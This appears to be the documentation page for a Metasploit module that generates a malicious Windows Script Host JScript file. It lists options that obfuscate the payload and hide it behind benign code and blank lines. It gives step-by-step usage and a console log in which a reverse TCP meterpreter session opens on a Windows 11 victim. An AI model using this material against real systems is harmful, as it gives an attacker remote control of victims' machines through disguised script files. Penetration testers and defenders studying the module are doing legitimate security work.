## Vulnerable Application

This module creates a Windows Script Host (WSH) JScript (.js) file.

This module has been tested successfully on:

* Microsoft Windows 7 Professional SP1 (x86_64)
* Microsoft Windows 11 Professional 21H2 (x86_64)


## Options

### FILENAME

The JScript file name. (Default: `msf.js`).

### OBFUSCATE

Enable JavaScript obfuscation. (Default: `true`)


## Advanced Options

### PrependBenignCode

Prepend several lines of benign code at the start of the file. (Default: `true`)

### PrependNewLines

Prepend new lines before the malicious JScript. (Default: `100`)


## Verification Steps

On the Metasploit host:

1. Start msfconsole
1. Do: `use exploit/windows/fileformat/windows_script_host_jscript`
1. Do: `set filename [filename.js]`
1. Do: `set payload [payload]`
1. Do: `set lhost [lhost]`
1. Do: `set lport [lport]`
1. Do: `run`
1. Do: `handler -p [payload] -P [lport] -H [lhost]`

On the target Windows machine:

1. Ensure Windows Security is disabled
1. Ensure Windows Registry `HKCU` and `HKLM` key `SOFTWARE\Microsoft\Windows Script Host\Settings\Enabled` is not present or set to 1
1. Open the `msf.js` file
1. If prompted to choose a program to open the file, select Windows Script Host


## Scenarios

### Microsoft Windows 11 Professional 21H2 (x86_64)

```
msf > use exploit/windows/fileformat/windows_script_host_jscript
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(windows/fileformat/windows_script_host_jscript) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(windows/fileformat/windows_script_host_jscript) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf exploit(windows/fileformat/windows_script_host_jscript) > set lport 4444
lport => 4444
msf exploit(windows/fileformat/windows_script_host_jscript) > run
[+] msf.js stored at /root/.msf4/local/msf.js
msf exploit(windows/fileformat/windows_script_host_jscript) > handler -p cmd/windows/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
[*] Payload handler running as background job 0.

[*] Started reverse TCP handler on 192.168.200.130:4444 
msf exploit(windows/fileformat/windows_script_host_jscript) > 
[*] Sending stage (203846 bytes) to 192.168.200.169
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.169:49893) at 2025-07-20 09:14:37 -0400

msf exploit(windows/fileformat/windows_script_host_jscript) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WIN-11-PRO-X64
OS              : Windows 11 21H2 (10.0 Build 22000).
Architecture    : x64
System Language : en_GB
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > 
```
